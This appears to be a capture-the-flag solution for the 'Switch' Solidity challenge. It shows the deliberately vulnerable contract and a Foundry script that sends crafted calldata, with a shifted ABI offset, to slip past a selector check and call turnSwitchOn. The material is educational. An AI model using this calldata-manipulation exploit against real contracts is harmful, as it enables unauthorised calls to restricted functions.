Switch

Just have to flip the switch. Can’t be that hard, right?

Things that might help:

Understanding how CALLDATA is encoded.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

     modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(
            selector[0] == offSelector,
            "Can only call the turnOffSwitch function"
        );
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success, ) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }

}

Solution:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "forge-std/console.sol";

import {Switch} from '../src/29.sol';

contract POC is Script {

  function run() external {
    uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
    address addr = vm.envAddress("INSTANCE_29");

    vm.startBroadcast(deployerPrivateKey);

    Switch s = Switch(addr);

    console.log('switchOn : %s', s.switchOn());

    // Default
    // 30c13ade
    // 0000000000000000000000000000000000000000000000000000000000000020 0 // point to 20
    // 0000000000000000000000000000000000000000000000000000000000000004 20
    // 20606e1500000000000000000000000000000000000000000000000000000000 40

    // Hacked
    // 30c13ade
    // 0000000000000000000000000000000000000000000000000000000000000060 0  // point to 60
    // 0000000000000000000000000000000000000000000000000000000000000004 20
    // 20606e1500000000000000000000000000000000000000000000000000000000 40 // skipped
    // 0000000000000000000000000000000000000000000000000000000000000004 60
    // 76227e1200000000000000000000000000000000000000000000000000000000 80 // actually called

    bytes memory payload = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000420606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000";

    (bool success,) = address(s).call(payload);
    require(success);

    console.log('switchOn : %s', s.switchOn());


    vm.stopBroadcast();

  }
}

larz et nadia remi romain